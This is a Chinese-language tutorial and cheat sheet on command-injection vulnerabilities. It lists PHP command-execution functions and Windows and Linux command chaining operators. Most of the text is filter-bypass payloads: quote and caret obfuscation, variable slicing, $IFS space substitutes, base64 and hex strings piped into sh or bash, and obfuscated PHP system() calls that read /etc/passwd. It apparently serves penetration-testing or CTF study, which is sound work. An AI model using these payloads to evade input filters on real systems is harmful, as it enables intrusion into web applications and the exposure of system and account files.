命令执行漏洞原理
命令执行漏洞定义:
Web应用程序接收用户输入,拼接到要执行的系统命令中执行。
产生原因:
1、用户输入未过滤或净化
2、拼接到系统命令中执行
PHP下命令执行函数
在PHP中具有执行系统命令功能的函数如下: 1、system
2、exec
3、shell_exec
4、passthru
5、popen
6、proc_popen
7、`反引号
8、ob_start
9、mail函数+LD_PRELOAD执行系统命令
命令执行漏洞基础
windows命令执行漏洞
命令执行漏洞拼接符介绍
在Windows系统下的 cmd命令中,有以下一些截断拼接符。
&前面的语句为假则直接执行后面的
&&前面的语句为假则直接出错,后面的也不执行
|直接执行后面的语句
||前面出错执行后面的
命令拼接
whoami //正常执行
w"h"o"a"m"i 或"w"h"o"a"m"i"或"w"h"o"a"m"i或w"h"o"a"m"i"//正常执行
who ^ ami或wh"“o ^ a ^ mi 或wh”“o ^ a ^ mi”//正常执行
但是"wh"“oami"这种在开头就有单引号的情况是不能执行的
(Whoami)或(Wh^ o ^am”“i)或((((Wh ^ o ^ am”"i)))) //正常执行
可以加任意个"但是不能同时连续加2个^ 符号,因为 ^是cmd中的转义符,跟在它后面的符号会被转义
set命令
用两个 % 括起来的变量,会输出变量的值
set a=who
set b=ami
%a%%b% //正常执行whoami
call %a%%b% //正常执行whoami
切割字符
set a=whoami
%a:~0% //取出所有字符,所以正常执行命令
%a:~0,6% //从开始切割6个字符,刚好whoami,所以正常执行
%a: ~0,5% //切割后是whoam,不是系统命令,不能执行
set a=abc qwe //先自定义
wh^ o ^ %a:~0,1%mi //然后截断整理后就变成了:wh^ o ^ami,所以命令执行成功
Linux命令执行漏洞利用技巧
命令执行漏洞拼接介绍
在Linux系统下的shell命令中,有以下一些截断拼接符。
在Linux上,上面的;也可以用|、||代替
;前面的执行完执行后面的
| 管道符,上一条命令的输出,作为下一条命令的参数
||当前面的执行出错时执行后面的 & 无论前边语句真假都会执行
&& 只有前边语句为真,才会执行后边语句
&放在启动参数后面表示设置此进程为后台进程,默认情况下,进程是前台进程,这是就把shell给占据了,我们无法进行其他操作,对于那些没有交互的进程,很多时候,我们希望其在后台启动,可以启动参数的时候加一个’&'实现这个目的。
命令终止符
%00
%20#
命令拼接
a=who
b=ami
$ a $ b //输出whoami
对于文件夹的内容,使用$(printf “路径”)代替路径
可以通过截取不同的字符执行命令
${PATH:5:1} //l
${PATH:2:1} //s
P A T H : 5 : 1 {PATH:5:1} PATH:5:1{PATH:2:1} //拼接后是ls,执行命令
${PATH:5:1}s //拼接后是ls,执行命令
空格绕过
$IFS //在linux下表示分隔符
$IFS$1 //起到截断作用
${IFS} //起到截断作用
$IFS$9 //$9始终为空字符串
< 比如cat<a.tct:表示cat a.txt
<>
{cat,flag.php} //用逗号实现了空格功能,需要用{}括起来
%20
%09
绕过关键字
反斜线绕过
wh\o\ami
双引号绕过
who"a"mi
单引号绕过
who’a’mi
反引号绕过
whoam``i
base64绕过
echo d2hvYW1p|base64 -d|sh 其中d2hvYW1p是whoami的base64编码
echo d2hvYW1p|base64 -d|bash 其中d2hvYW1p是whoami的base64编码
`echo d2hvYW1p|base64 -d``将其base64解码,然后用反引号来执行命令
hex绕过
echo 77686F616D69 | xxd -r -p | bash 其中77686F616D69是whoami的hex编码
特殊字符绕过
//$*和$@,$x(x 代表 1-9),${x}(x>=10) :比如ca${21}t a.txt表示cat a.txt 在没有传入参 数的情况下,这些特殊字符默认为空,如下:
wh$1oami
who$@ami
whoa$*mi #cat被过滤时,还可以考虑使用tac命令
cat$x /etc/passwd
重命名文件绕过
linux下创建文件的命令可以用1>1创建文件名为1的空文件
进一步fuzz发现a>1居然也可以,虽然会报错,但是还是可以创建空文件。
命令执行函数绕过
system("cat /etc/passwd")
<=>
"\x73\x79\x73\x74\x65\x6d"("cat /etc/passwd");
<=>
(sy.(st).em)("cat /etc/passwd");
<=>还可以用注释方法绕过
"system/*fthgb666*/("cat /etc/passwd);"
<=>
"system/*fthgb666*/(wh./*fthgb666*/(oa)/*fthgb666*/.mi);" <=>
"(sy./*fthgb666*/(st)/*fthgb666*/.em)/*fthgb666*/(wh./*fthgb666*/(oa)/*fthgb666*/ .mi);"